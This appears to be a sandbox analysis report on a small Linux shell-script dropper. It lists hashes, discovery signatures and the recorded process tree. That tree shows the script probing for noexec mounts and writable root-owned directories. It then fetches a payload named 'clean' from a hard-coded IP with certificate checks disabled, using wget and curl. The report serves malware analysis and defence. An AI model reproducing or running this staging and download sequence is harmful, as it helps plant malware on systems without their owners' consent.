Overview

overview

6

Static

static

1

sh

ubuntu-18.04-amd64

6

sh

debian-9-armhf

6

sh

debian-9-mips

3

sh

debian-9-mipsel

3

Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260127-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260127-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    29/04/2026, 18:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sh
  • Size 2KB
  • Sample260429-wpap9aes8w
  • SHA256 8fdd3ab82e8c40e4262d6ea426cf8668541cc9396c38c438b44951422ef2fa52
  • MD5 SHA1 SHA512 TLSH
Score
6/10
discovery

Malware Config

Signatures

  • Reads AppArmor ptrace settings 1 TTPs 1 IoCs

    Discovery of allowed ptrace capabilities by AppArmor.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 1 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Reads network interface configuration 2 TTPs 12 IoCs

    Fetches information about one or more active network interfaces.

    discovery
  • Reads CPU attributes 1 TTPs 20 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:1526
      • /usr/bin/awk
        awk "{print \$2}"
        2⤵
          PID:1530
        • /bin/grep
          grep noexec
          2⤵
            PID:1529
          • /bin/cat
            cat /proc/mounts
            2⤵
              PID:1528
            • /usr/bin/whoami
              whoami
              2⤵
                PID:1533
              • /usr/bin/find
                find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/unified -not -path "/sys/fs/cgroup/unified/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/pstore -not -path "/sys/fs/pstore/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/rdma -not -path "/sys/fs/cgroup/rdma/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/hugetlb -not -path "/sys/fs/cgroup/hugetlb/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*"
                2⤵
                • Reads AppArmor ptrace settings
                • Reads hardware information
                • Reads network interface configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:1534
              • /bin/uname
                uname -mp
                2⤵
                  PID:1538
                • /usr/bin/tr
                  tr -d " "
                  2⤵
                    PID:1543
                  • /usr/bin/od
                    od -An -N2 -i /dev/urandom
                    2⤵
                      PID:1542
                    • /usr/bin/expr
                      expr 59677 "%" 32 + 4
                      2⤵
                        PID:1544
                      • /usr/bin/head
                        head -c 33
                        2⤵
                          PID:1548
                        • /usr/bin/tr
                          tr -dc A-Za-z0-9
                          2⤵
                            PID:1547
                          • /usr/bin/openssl
                            openssl rand -base64 256
                            2⤵
                              PID:1546
                            • /usr/bin/touch
                              touch .testfile
                              2⤵
                                PID:1549
                              • /bin/dd
                                dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                                2⤵
                                  PID:1551
                                • /bin/rm
                                  rm -rf .testfile .testfile2
                                  2⤵
                                    PID:1552
                                  • /bin/rm
                                    rm -rf clean
                                    2⤵
                                      PID:1553
                                    • /usr/bin/wget
                                      wget --no-check-certificate -q https://217.60.241.36/clean
                                      2⤵
                                        PID:1554
                                      • /usr/bin/curl
                                        curl -skO https://217.60.241.36/clean
                                        2⤵
                                          PID:1557

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            .testfile2
                                            • Path /.testfile2
                                            • Size 2.0MB
                                            • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download